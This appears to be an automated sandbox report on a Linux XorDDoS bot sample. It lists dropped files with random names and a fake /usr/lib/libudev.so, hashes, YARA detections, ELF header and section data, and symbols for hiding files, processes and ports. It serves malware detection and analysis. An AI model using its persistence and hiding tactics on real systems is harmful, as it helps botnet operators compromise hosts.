SSDEEP:	12288:FBXOvdwV1/n/dQFhWlH/c1dHo4h9L+zNZrr4T6yF8EEP4UlUuTh1Af:FBXmkN/+Fhu/Qo4h9L+zNN4BVEBl/91E
MD5:	67D9C73D144874E910413A9FF5F8BE8D
SHA1:	61B354B42973E17FB1C8FA7C513B15C5C418C143
SHA-256:	3AE57392515324670606A81BCC629EBF65B9E4CDBAA473077250BE2D061AA664
SHA-512:	DD9ED957D3B34663AB07ECA934DB6081E7D9C76F4C5CA7ECF374BA8F8CAB320863B9A0A9A5B7E5C7E3D13CE9924EBE586D69E6EBA1ADC6C3FFD124CBA14BA8AA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/tngemhgnzk, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/tngemhgnzk, Author: ditekSHen Rule: XOR_DDosv1, Description: Rule to detect XOR DDos infection, Source: /usr/bin/tngemhgnzk, Author: Akamai CSIRT
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....r......4. ...(......................a...a...............a...............r........................ ... ................a..............@...........Q.td........................................GNU.................U.....5..................1.^....PTRh Q..h`Q..QVh............U..S........[..,p..........t..~..X[.......U..S....=.....uT.0...-(.......X......9.v...&...............(........9.w......t...$.~................[]......U..............Z..o....t .T$..D$......D$.......$.~.......4.....t........t...$4.......U.....E..D$..E..D$..E...$.....E..D$..E...$...........U...(.E.....D$..E..D$...$.+...]....E..}..x..E....;E....E......?.E..E.....E..E..".E..E....</u..U.....E..........m...}..y.E..E.E...U...(.E.....D$..E..D$...$.+........E..}..x..E....;E....E........E..E.....E..E.E...U...(...............D$..D$.......$.P....E..D$..D$..+...D$.............$......E.....D$..E..D$.........$.<....E..}..x..E....;E...............E..E.....E...............U..W.....

/usr/bin/uqxezzsakx

Process:	/tmp/0Xorddos.o
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
Category:	dropped
Size (bytes):	625911
Entropy (8bit):	6.244491917701131
Encrypted:	false
SSDEEP:	12288:FBXOvdwV1/n/dQFhWlH/c1dHo4h9L+zNZrr4T6yF8EEP4UlUuTh1A2:FBXmkN/+Fhu/Qo4h9L+zNN4BVEBl/915
MD5:	67365F9C1F2B194742925772FC9232AB
SHA1:	CD76AC8FA8808D4B1D4CACCA019E6E63C8572510
SHA-256:	0133176167FFD3F23114DB6E4D5EE5ECA29169F19F3ED478638B7814DE8769BE
SHA-512:	1E350A1E7B324D47D0A5AC7464776DB55C246857A0191AAECE17CDCD68F51E770E4C93746F17B99F9CDC933FF74546A44F0C018AD390DFF3D6E40FB87EDB8311
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/uqxezzsakx, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/uqxezzsakx, Author: ditekSHen Rule: XOR_DDosv1, Description: Rule to detect XOR DDos infection, Source: /usr/bin/uqxezzsakx, Author: Akamai CSIRT
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....r......4. ...(......................a...a...............a...............r........................ ... ................a..............@...........Q.td........................................GNU.................U.....5..................1.^....PTRh Q..h`Q..QVh............U..S........[..,p..........t..~..X[.......U..S....=.....uT.0...-(.......X......9.v...&...............(........9.w......t...$.~................[]......U..............Z..o....t .T$..D$......D$.......$.~.......4.....t........t...$4.......U.....E..D$..E..D$..E...$.....E..D$..E...$...........U...(.E.....D$..E..D$...$.+...]....E..}..x..E....;E....E......?.E..E.....E..E..".E..E....</u..U.....E..........m...}..y.E..E.E...U...(.E.....D$..E..D$...$.+........E..}..x..E....;E....E........E..E.....E..E.E...U...(...............D$..D$.......$.P....E..D$..D$..+...D$.............$......E.....D$..E..D$.........$.<....E..}..x..E....;E...............E..E.....E...............U..W.....

/usr/bin/wzulpfbuxk

Process:	/tmp/0Xorddos.o
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
Category:	dropped
Size (bytes):	625911
Entropy (8bit):	6.244496966776473
Encrypted:	false
SSDEEP:	12288:FBXOvdwV1/n/dQFhWlH/c1dHo4h9L+zNZrr4T6yF8EEP4UlUuTh1Ag:FBXmkN/+Fhu/Qo4h9L+zNN4BVEBl/91H
MD5:	3544260D47ADF075442CC29318BED673
SHA1:	0D5845EAC61847C9F6F700DEBC97A994AC893EBD
SHA-256:	F0BA0D6136D87D1C398BC8C441AE1A97181AA3ECCDC730D7D163543851C32767
SHA-512:	6529DDD1923DC3BB5D0752985E0091AEB2DC29221CA38D0F9202430FD6A2BA2A0DF801B63836B587EA73151F17482D3D2306AA6CDA7D7A6A86529C214AE80548
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/wzulpfbuxk, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/wzulpfbuxk, Author: ditekSHen Rule: XOR_DDosv1, Description: Rule to detect XOR DDos infection, Source: /usr/bin/wzulpfbuxk, Author: Akamai CSIRT
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....r......4. ...(......................a...a...............a...............r........................ ... ................a..............@...........Q.td........................................GNU.................U.....5..................1.^....PTRh Q..h`Q..QVh............U..S........[..,p..........t..~..X[.......U..S....=.....uT.0...-(.......X......9.v...&...............(........9.w......t...$.~................[]......U..............Z..o....t .T$..D$......D$.......$.~.......4.....t........t...$4.......U.....E..D$..E..D$..E...$.....E..D$..E...$...........U...(.E.....D$..E..D$...$.+...]....E..}..x..E....;E....E......?.E..E.....E..E..".E..E....</u..U.....E..........m...}..y.E..E.E...U...(.E.....D$..E..D$...$.+........E..}..x..E....;E....E........E..E.....E..E.E...U...(...............D$..D$.......$.P....E..D$..D$..+...D$.............$......E.....D$..E..D$.........$.<....E..}..x..E....;E...............E..E.....E...............U..W.....

/usr/bin/ysrkbnorkl

Process:	/tmp/0Xorddos.o
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
Category:	dropped
Size (bytes):	625911
Entropy (8bit):	6.244496355005872
Encrypted:	false
SSDEEP:	12288:FBXOvdwV1/n/dQFhWlH/c1dHo4h9L+zNZrr4T6yF8EEP4UlUuTh1AE:FBXmkN/+Fhu/Qo4h9L+zNN4BVEBl/91L
MD5:	4D2E235CEAD4F0439BC635F5A18F4BF4
SHA1:	21F184FF46CA2F4F3B4C6D9CE13925E713B04B7C
SHA-256:	447A7A0EDB034B40BA4DE2F932DCCEACD45ABCD9B40A24EDBD50C73088A15FE2
SHA-512:	407A355E40CA9C249356B5F7A1ECC0E133D28B61139161583C14F0D61680657018F1CD0E3EB97C3076AA92238F37FE90B67BC2D136451ACD98C767719C2A852C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/ysrkbnorkl, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/ysrkbnorkl, Author: ditekSHen Rule: XOR_DDosv1, Description: Rule to detect XOR DDos infection, Source: /usr/bin/ysrkbnorkl, Author: Akamai CSIRT
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....r......4. ...(......................a...a...............a...............r........................ ... ................a..............@...........Q.td........................................GNU.................U.....5..................1.^....PTRh Q..h`Q..QVh............U..S........[..,p..........t..~..X[.......U..S....=.....uT.0...-(.......X......9.v...&...............(........9.w......t...$.~................[]......U..............Z..o....t .T$..D$......D$.......$.~.......4.....t........t...$4.......U.....E..D$..E..D$..E...$.....E..D$..E...$...........U...(.E.....D$..E..D$...$.+...]....E..}..x..E....;E....E......?.E..E.....E..E..".E..E....</u..U.....E..........m...}..y.E..E.E...U...(.E.....D$..E..D$...$.+........E..}..x..E....;E....E........E..E.....E..E.E...U...(...............D$..D$.......$.P....E..D$..D$..+...D$.............$......E.....D$..E..D$.........$.<....E..}..x..E....;E...............E..E.....E...............U..W.....

/usr/bin/zareoppgxh

Process:	/tmp/0Xorddos.o
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
Category:	dropped
Size (bytes):	625911
Entropy (8bit):	6.244485552214403
Encrypted:	false
SSDEEP:	12288:FBXOvdwV1/n/dQFhWlH/c1dHo4h9L+zNZrr4T6yF8EEP4UlUuTh1AI:FBXmkN/+Fhu/Qo4h9L+zNN4BVEBl/91v
MD5:	8BD739BBC978F1311F3459FAE05BBEFD
SHA1:	D9C316849B92D5F86F81699E179883EB29BB059F
SHA-256:	122A7329AAF142BCF138BA253CE7844FBC9E434F0200FC7B926F61092FB0A7D9
SHA-512:	314B63B898ABE37EA2E926D2FF605FC5F07E144F4546DD743749EC3E61CAE7F27B9037CE994092F94C9A93D2045D7CEEE85493AD8EEE0DDFDB6CE52FECB03A40
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/zareoppgxh, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/zareoppgxh, Author: ditekSHen Rule: XOR_DDosv1, Description: Rule to detect XOR DDos infection, Source: /usr/bin/zareoppgxh, Author: Akamai CSIRT
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....r......4. ...(......................a...a...............a...............r........................ ... ................a..............@...........Q.td........................................GNU.................U.....5..................1.^....PTRh Q..h`Q..QVh............U..S........[..,p..........t..~..X[.......U..S....=.....uT.0...-(.......X......9.v...&...............(........9.w......t...$.~................[]......U..............Z..o....t .T$..D$......D$.......$.~.......4.....t........t...$4.......U.....E..D$..E..D$..E...$.....E..D$..E...$...........U...(.E.....D$..E..D$...$.+...]....E..}..x..E....;E....E......?.E..E.....E..E..".E..E....</u..U.....E..........m...}..y.E..E.E...U...(.E.....D$..E..D$...$.+........E..}..x..E....;E....E........E..E.....E..E.E...U...(...............D$..D$.......$.P....E..D$..D$..+...D$.............$......E.....D$..E..D$.........$.<....E..}..x..E....;E...............E..E.....E...............U..W.....

/usr/lib/libudev.so

Process:	/tmp/0Xorddos.o
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
Category:	dropped
Size (bytes):	625900
Entropy (8bit):	6.244464373397953
Encrypted:	false
SSDEEP:	12288:FBXOvdwV1/n/dQFhWlH/c1dHo4h9L+zNZrr4T6yF8EEP4UlUuTh1AD:FBXmkN/+Fhu/Qo4h9L+zNN4BVEBl/91+
MD5:	DA818861F56900F552EB04C5E7D8C59D
SHA1:	4A414CCF923001621457E4BEAF2EC0E7B165F2AC
SHA-256:	D920DEC25946A86AEAFFD5A53CE8C3F05C9A7BAC44D5C71481F497DE430CB67E
SHA-512:	CFF03F07B80DFC30F48DC3D2B4CA1BA572D4CA6D784C4855BC2044058C5DEB5C89397C6CF3EAF9FDE8660605BC8C821A7EEA8A73C3F48D7994328C9EC92AE915
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/lib/libudev.so, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/lib/libudev.so, Author: ditekSHen Rule: XOR_DDosv1, Description: Rule to detect XOR DDos infection, Source: /usr/lib/libudev.so, Author: Akamai CSIRT
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....r......4. ...(......................a...a...............a...............r........................ ... ................a..............@...........Q.td........................................GNU.................U.....5..................1.^....PTRh Q..h`Q..QVh............U..S........[..,p..........t..~..X[.......U..S....=.....uT.0...-(.......X......9.v...&...............(........9.w......t...$.~................[]......U..............Z..o....t .T$..D$......D$.......$.~.......4.....t........t...$4.......U.....E..D$..E..D$..E...$.....E..D$..E...$...........U...(.E.....D$..E..D$...$.+...]....E..}..x..E....;E....E......?.E..E.....E..E..".E..E....</u..U.....E..........m...}..y.E..E.E...U...(.E.....D$..E..D$...$.+........E..}..x..E....;E....E........E..E.....E..E.E...U...(...............D$..D$.......$.P....E..D$..D$..+...D$.............$......E.....D$..E..D$.........$.<....E..}..x..E....;E...............E..E.....E...............U..W.....

Static File Info

General

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
Entropy (8bit):	6.244464373397953
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	0Xorddos.o
File size:	625900
MD5:	da818861f56900f552eb04c5e7d8c59d
SHA1:	4a414ccf923001621457e4beaf2ec0e7b165f2ac
SHA256:	d920dec25946a86aeaffd5a53ce8c3f05c9a7bac44d5c71481f497de430cb67e
SHA512:	cff03f07b80dfc30f48dc3d2b4ca1ba572d4ca6d784c4855bc2044058c5deb5c89397c6cf3eaf9fde8660605bc8c821a7eea8a73c3f48d7994328c9ec92ae915
SSDEEP:	12288:FBXOvdwV1/n/dQFhWlH/c1dHo4h9L+zNZrr4T6yF8EEP4UlUuTh1AD:FBXmkN/+Fhu/Qo4h9L+zNN4BVEBl/91+
File Content Preview:	.ELF........................4....r......4. ...(......................a...a...............a...............r.......................... ... ................a..............@...........Q.td........................................GNU.................U......5...

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8048110
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	553480
Section Header Size:	40
Number of Section Headers:	28
Header String Table Index:	25

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.note.ABI-tag	NOTE	0x80480d4	0xd4	0x20	0x0	0x2	A	0	0	4
.init	PROGBITS	0x80480f4	0xf4	0x17	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x8048110	0x110	0x697d8	0x0	0x6	AX	0	0	16
__libc_freeres_fn	PROGBITS	0x80b18f0	0x698f0	0x100f	0x0	0x6	AX	0	0	16
__libc_thread_freeres_fn	PROGBITS	0x80b2900	0x6a900	0x1db	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x80b2adc	0x6aadc	0x1c	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x80b2b00	0x6ab00	0x153c0	0x0	0x2	A	0	0	32
__libc_subfreeres	PROGBITS	0x80c7ec0	0x7fec0	0x30	0x0	0x2	A	0	0	4
__libc_atexit	PROGBITS	0x80c7ef0	0x7fef0	0x4	0x0	0x2	A	0	0	4
__libc_thread_subfreeres	PROGBITS	0x80c7ef4	0x7fef4	0x8	0x0	0x2	A	0	0	4
.eh_frame	PROGBITS	0x80c7efc	0x7fefc	0x60f4	0x0	0x2	A	0	0	4
.gcc_except_table	PROGBITS	0x80cdff0	0x85ff0	0x11b	0x0	0x2	A	0	0	1
.tdata	PROGBITS	0x80cf10c	0x8610c	0x14	0x0	0x403	WAT	0	0	4
.tbss	NOBITS	0x80cf120	0x86120	0x2c	0x0	0x403	WAT	0	0	4
.ctors	PROGBITS	0x80cf120	0x86120	0x8	0x0	0x3	WA	0	0	4
.dtors	PROGBITS	0x80cf128	0x86128	0xc	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x80cf134	0x86134	0x4	0x0	0x3	WA	0	0	4
.data.rel.ro	PROGBITS	0x80cf138	0x86138	0x2c	0x0	0x3	WA	0	0	4
.got	PROGBITS	0x80cf164	0x86164	0x8	0x4	0x3	WA	0	0	4
.got.plt	PROGBITS	0x80cf16c	0x8616c	0xc	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x80cf180	0x86180	0xb40	0x0	0x3	WA	0	0	32
.bss	NOBITS	0x80cfcc0	0x86cc0	0x6718	0x0	0x3	WA	0	0	32
__libc_freeres_ptrs	NOBITS	0x80d63d8	0x86cc0	0x14	0x0	0x3	WA	0	0	4
.comment	PROGBITS	0x0	0x86cc0	0x422	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x870e2	0x126	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x87668	0x93c0	0x10	0x0		27	914	4
.strtab	STRTAB	0x0	0x90a28	0x82a3	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Prog Interpreter	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0x8610b	0x8610b	3.3396	0x5	R E	0x1000		.note.ABI-tag .init .text __libc_freeres_fn __libc_thread_freeres_fn .fini .rodata __libc_subfreeres __libc_atexit __libc_thread_subfreeres .eh_frame .gcc_except_table
LOAD	0x8610c	0x80cf10c	0x80cf10c	0xbb4	0x72e0	2.9241	0x6	RW	0x1000		.ctors .dtors .jcr .data.rel.ro .got .got.plt .data .bss __libc_freeres_ptrs
NOTE	0xd4	0x80480d4	0x80480d4	0x20	0x20	1.7487	0x4	R	0x4		.note.ABI-tag
TLS	0x8610c	0x80cf10c	0x80cf10c	0x14	0x40	1.6127	0x4	R	0x4
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Symbols

Name	Version Info Name	Version Info File Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
			.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
			.symtab	0x80480d4	0	SECTION	<unknown>	DEFAULT	1
			.symtab	0x80480f4	0	SECTION	<unknown>	DEFAULT	2
			.symtab	0x8048110	0	SECTION	<unknown>	DEFAULT	3
			.symtab	0x80b18f0	0	SECTION	<unknown>	DEFAULT	4
			.symtab	0x80b2900	0	SECTION	<unknown>	DEFAULT	5
			.symtab	0x80b2adc	0	SECTION	<unknown>	DEFAULT	6
			.symtab	0x80b2b00	0	SECTION	<unknown>	DEFAULT	7
			.symtab	0x80c7ec0	0	SECTION	<unknown>	DEFAULT	8
			.symtab	0x80c7ef0	0	SECTION	<unknown>	DEFAULT	9
			.symtab	0x80c7ef4	0	SECTION	<unknown>	DEFAULT	10
			.symtab	0x80c7efc	0	SECTION	<unknown>	DEFAULT	11
			.symtab	0x80cdff0	0	SECTION	<unknown>	DEFAULT	12
			.symtab	0x80cf10c	0	SECTION	<unknown>	DEFAULT	13
			.symtab	0x80cf120	0	SECTION	<unknown>	DEFAULT	14
			.symtab	0x80cf120	0	SECTION	<unknown>	DEFAULT	15
			.symtab	0x80cf128	0	SECTION	<unknown>	DEFAULT	16
			.symtab	0x80cf134	0	SECTION	<unknown>	DEFAULT	17
			.symtab	0x80cf138	0	SECTION	<unknown>	DEFAULT	18
			.symtab	0x80cf164	0	SECTION	<unknown>	DEFAULT	19
			.symtab	0x80cf16c	0	SECTION	<unknown>	DEFAULT	20
			.symtab	0x80cf180	0	SECTION	<unknown>	DEFAULT	21
			.symtab	0x80cfcc0	0	SECTION	<unknown>	DEFAULT	22
			.symtab	0x80d63d8	0	SECTION	<unknown>	DEFAULT	23
			.symtab	0x0	0	SECTION	<unknown>	DEFAULT	24
.L108			.symtab	0x80ad950	0	NOTYPE	<unknown>	DEFAULT	3
.L113			.symtab	0x80ad990	0	NOTYPE	<unknown>	DEFAULT	3
.L114			.symtab	0x80ad9f8	0	NOTYPE	<unknown>	DEFAULT	3
.L115			.symtab	0x80ada30	0	NOTYPE	<unknown>	DEFAULT	3
.L116			.symtab	0x80ada4e	0	NOTYPE	<unknown>	DEFAULT	3
.L117			.symtab	0x80ada6c	0	NOTYPE	<unknown>	DEFAULT	3
.L118			.symtab	0x80ada89	0	NOTYPE	<unknown>	DEFAULT	3
.L119			.symtab	0x80adabd	0	NOTYPE	<unknown>	DEFAULT	3
.L12			.symtab	0x80b130b	0	NOTYPE	<unknown>	DEFAULT	3
.L120			.symtab	0x80adadc	0	NOTYPE	<unknown>	DEFAULT	3
.L121			.symtab	0x80adafb	0	NOTYPE	<unknown>	DEFAULT	3
.L122			.symtab	0x80ad8e3	0	NOTYPE	<unknown>	DEFAULT	3
.L123			.symtab	0x80adb2b	0	NOTYPE	<unknown>	DEFAULT	3
.L124			.symtab	0x80add7f	0	NOTYPE	<unknown>	DEFAULT	3
.L125			.symtab	0x80addb4	0	NOTYPE	<unknown>	DEFAULT	3
.L126			.symtab	0x80add02	0	NOTYPE	<unknown>	DEFAULT	3
.L127			.symtab	0x80add1f	0	NOTYPE	<unknown>	DEFAULT	3
.L128			.symtab	0x80add46	0	NOTYPE	<unknown>	DEFAULT	3
.L129			.symtab	0x80add63	0	NOTYPE	<unknown>	DEFAULT	3
.L130			.symtab	0x80adb8c	0	NOTYPE	<unknown>	DEFAULT	3
.L131			.symtab	0x80adbd3	0	NOTYPE	<unknown>	DEFAULT	3
.L132			.symtab	0x80adc00	0	NOTYPE	<unknown>	DEFAULT	3
.L133			.symtab	0x80adc37	0	NOTYPE	<unknown>	DEFAULT	3
.L134			.symtab	0x80adc50	0	NOTYPE	<unknown>	DEFAULT	3
.L135			.symtab	0x80adc7d	0	NOTYPE	<unknown>	DEFAULT	3
.L136			.symtab	0x80adcb5	0	NOTYPE	<unknown>	DEFAULT	3
.L137			.symtab	0x80adcc9	0	NOTYPE	<unknown>	DEFAULT	3
.L14			.symtab	0x80b1419	0	NOTYPE	<unknown>	DEFAULT	3
.L15			.symtab	0x80b1408	0	NOTYPE	<unknown>	DEFAULT	3
.L16			.symtab	0x80b13f8	0	NOTYPE	<unknown>	DEFAULT	3
.L17			.symtab	0x80b13e8	0	NOTYPE	<unknown>	DEFAULT	3
.L18			.symtab	0x80b138c	0	NOTYPE	<unknown>	DEFAULT	3
.L19			.symtab	0x80b137e	0	NOTYPE	<unknown>	DEFAULT	3
.L20			.symtab	0x80b1345	0	NOTYPE	<unknown>	DEFAULT	3
.L21			.symtab	0x80b1371	0	NOTYPE	<unknown>	DEFAULT	3
.L258			.symtab	0x80ae76c	0	NOTYPE	<unknown>	DEFAULT	3
.L259			.symtab	0x80ae4a0	0	NOTYPE	<unknown>	DEFAULT	3
.L260			.symtab	0x80ae5f7	0	NOTYPE	<unknown>	DEFAULT	3
.L261			.symtab	0x80ae7c0	0	NOTYPE	<unknown>	DEFAULT	3
.L262			.symtab	0x80ae5e9	0	NOTYPE	<unknown>	DEFAULT	3
.L264			.symtab	0x80ae43d	0	NOTYPE	<unknown>	DEFAULT	3
.L266			.symtab	0x80ae496	0	NOTYPE	<unknown>	DEFAULT	3
.L267			.symtab	0x80ae68f	0	NOTYPE	<unknown>	DEFAULT	3
.L268			.symtab	0x80ae6a0	0	NOTYPE	<unknown>	DEFAULT	3
.L269			.symtab	0x80ae605	0	NOTYPE	<unknown>	DEFAULT	3
.L270			.symtab	0x80ae628	0	NOTYPE	<unknown>	DEFAULT	3
.L271			.symtab	0x80ae642	0	NOTYPE	<unknown>	DEFAULT	3
.L272			.symtab	0x80ae664	0	NOTYPE	<unknown>	DEFAULT	3
.L273			.symtab	0x80ae4ab	0	NOTYPE	<unknown>	DEFAULT	3
.L274			.symtab	0x80ae4e4	0	NOTYPE	<unknown>	DEFAULT	3
.L275			.symtab	0x80ae599	0	NOTYPE	<unknown>	DEFAULT	3
.L276			.symtab	0x80ae55f	0	NOTYPE	<unknown>	DEFAULT	3
.L277			.symtab	0x80ae5da	0	NOTYPE	<unknown>	DEFAULT	3
.L278			.symtab	0x80ae835	0	NOTYPE	<unknown>	DEFAULT	3
.L279			.symtab	0x80ae7ce	0	NOTYPE	<unknown>	DEFAULT	3
.L280			.symtab	0x80ae7e0	0	NOTYPE	<unknown>	DEFAULT	3
.L281			.symtab	0x80ae6b7	0	NOTYPE	<unknown>	DEFAULT	3
.L282			.symtab	0x80ae70c	0	NOTYPE	<unknown>	DEFAULT	3
.L283			.symtab	0x80ae467	0	NOTYPE	<unknown>	DEFAULT	3
.L350			.symtab	0x80ae840	0	NOTYPE	<unknown>	DEFAULT	3
.L351			.symtab	0x80ae84a	0	NOTYPE	<unknown>	DEFAULT	3
.L352			.symtab	0x80ae859	0	NOTYPE	<unknown>	DEFAULT	3
.L353			.symtab	0x80ae863	0	NOTYPE	<unknown>	DEFAULT	3
.L354			.symtab	0x80ae872	0	NOTYPE	<unknown>	DEFAULT	3
.L355			.symtab	0x80ae87d	0	NOTYPE	<unknown>	DEFAULT	3
.L356			.symtab	0x80ae887	0	NOTYPE	<unknown>	DEFAULT	3
.L357			.symtab	0x80ae892	0	NOTYPE	<unknown>	DEFAULT	3
.L358			.symtab	0x80ae89e	0	NOTYPE	<unknown>	DEFAULT	3
.L359			.symtab	0x80ae8aa	0	NOTYPE	<unknown>	DEFAULT	3
.L360			.symtab	0x80ae8b3	0	NOTYPE	<unknown>	DEFAULT	3
.L361			.symtab	0x80ae8bd	0	NOTYPE	<unknown>	DEFAULT	3
.L362			.symtab	0x80ae8cc	0	NOTYPE	<unknown>	DEFAULT	3
.L363			.symtab	0x80ae8db	0	NOTYPE	<unknown>	DEFAULT	3
.L364			.symtab	0x80ae8ea	0	NOTYPE	<unknown>	DEFAULT	3
.L365			.symtab	0x80ae8f9	0	NOTYPE	<unknown>	DEFAULT	3
.L366			.symtab	0x80ae908	0	NOTYPE	<unknown>	DEFAULT	3
.L380			.symtab	0x80ae438	0	NOTYPE	<unknown>	DEFAULT	3
.L411			.symtab	0x80aeb10	0	NOTYPE	<unknown>	DEFAULT	3
.L412			.symtab	0x80aeae6	0	NOTYPE	<unknown>	DEFAULT	3
.L413			.symtab	0x80aeb54	0	NOTYPE	<unknown>	DEFAULT	3
.L414			.symtab	0x80aebc0	0	NOTYPE	<unknown>	DEFAULT	3
.L415			.symtab	0x80aec20	0	NOTYPE	<unknown>	DEFAULT	3
.L416			.symtab	0x80aec60	0	NOTYPE	<unknown>	DEFAULT	3
.L61			.symtab	0x80ad673	0	NOTYPE	<unknown>	DEFAULT	3
.L63			.symtab	0x80ad6ef	0	NOTYPE	<unknown>	DEFAULT	3
.L64			.symtab	0x80ad6ce	0	NOTYPE	<unknown>	DEFAULT	3
.L67			.symtab	0x80ad6de	0	NOTYPE	<unknown>	DEFAULT	3
.L68			.symtab	0x80ad6d6	0	NOTYPE	<unknown>	DEFAULT	3
.L69			.symtab	0x80ad6a2	0	NOTYPE	<unknown>	DEFAULT	3
.L70			.symtab	0x80ad6c2	0	NOTYPE	<unknown>	DEFAULT	3
.L74			.symtab	0x80afb63	0	NOTYPE	<unknown>	DEFAULT	3
.L76			.symtab	0x80afbdf	0	NOTYPE	<unknown>	DEFAULT	3
.L77			.symtab	0x80afbbe	0	NOTYPE	<unknown>	DEFAULT	3
.L80			.symtab	0x80afbce	0	NOTYPE	<unknown>	DEFAULT	3
.L81			.symtab	0x80afbc6	0	NOTYPE	<unknown>	DEFAULT	3
.L82			.symtab	0x80afb92	0	NOTYPE	<unknown>	DEFAULT	3
.L83			.symtab	0x80afbb2	0	NOTYPE	<unknown>	DEFAULT	3
AddService			.symtab	0x8048865	807	FUNC	<unknown>	DEFAULT	3
CalcCrc32			.symtab	0x80492b4	70	FUNC	<unknown>	DEFAULT	3
CalcFileCrc			.symtab	0x8049346	172	FUNC	<unknown>	DEFAULT	3
CalcFindIpCrc			.symtab	0x8049320	38	FUNC	<unknown>	DEFAULT	3
CalcHeaderCrc			.symtab	0x80492fa	38	FUNC	<unknown>	DEFAULT	3
CheckLKM			.symtab	0x804a670	107	FUNC	<unknown>	DEFAULT	3
CreateDir			.symtab	0x80483de	375	FUNC	<unknown>	DEFAULT	3
DNS_ADDR			.symtab	0x80cf4cc	16	OBJECT	<unknown>	DEFAULT	21
DNS_ADDR2			.symtab	0x80cf4dc	16	OBJECT	<unknown>	DEFAULT	21
DNS_PORT			.symtab	0x80cf4ec	4	OBJECT	<unknown>	DEFAULT	21
DelService			.symtab	0x8048cdc	275	FUNC	<unknown>	DEFAULT	3
DelService_form_pid			.symtab	0x8048def	113	FUNC	<unknown>	DEFAULT	3
GetCpuInfo			.symtab	0x804e2ce	539	FUNC	<unknown>	DEFAULT	3
GetIndex			.symtab	0x804b418	189	FUNC	<unknown>	DEFAULT	3
GetLanSpeed			.symtab	0x804e5e1	243	FUNC	<unknown>	DEFAULT	3
GetMemStat			.symtab	0x804e1d9	245	FUNC	<unknown>	DEFAULT	3
Get_AllIP			.symtab	0x804ef5d	375	FUNC	<unknown>	DEFAULT	3
HideFile			.symtab	0x804a74d	151	FUNC	<unknown>	DEFAULT	3
HidePidPort			.symtab	0x804a6db	114	FUNC	<unknown>	DEFAULT	3
InstallSYS			.symtab	0x8048b8c	336	FUNC	<unknown>	DEFAULT	3
LinuxExec			.symtab	0x8048eed	122	FUNC	<unknown>	DEFAULT	3
LinuxExec_Argv			.symtab	0x8048f67	135	FUNC	<unknown>	DEFAULT	3
LinuxExec_Argv2			.symtab	0x8048fee	148	FUNC	<unknown>	DEFAULT	3
LogFacility			.symtab	0x80cfa0c	4	OBJECT	<unknown>	DEFAULT	21
LogFile			.symtab	0x80cfa08	4	OBJECT	<unknown>	DEFAULT	21
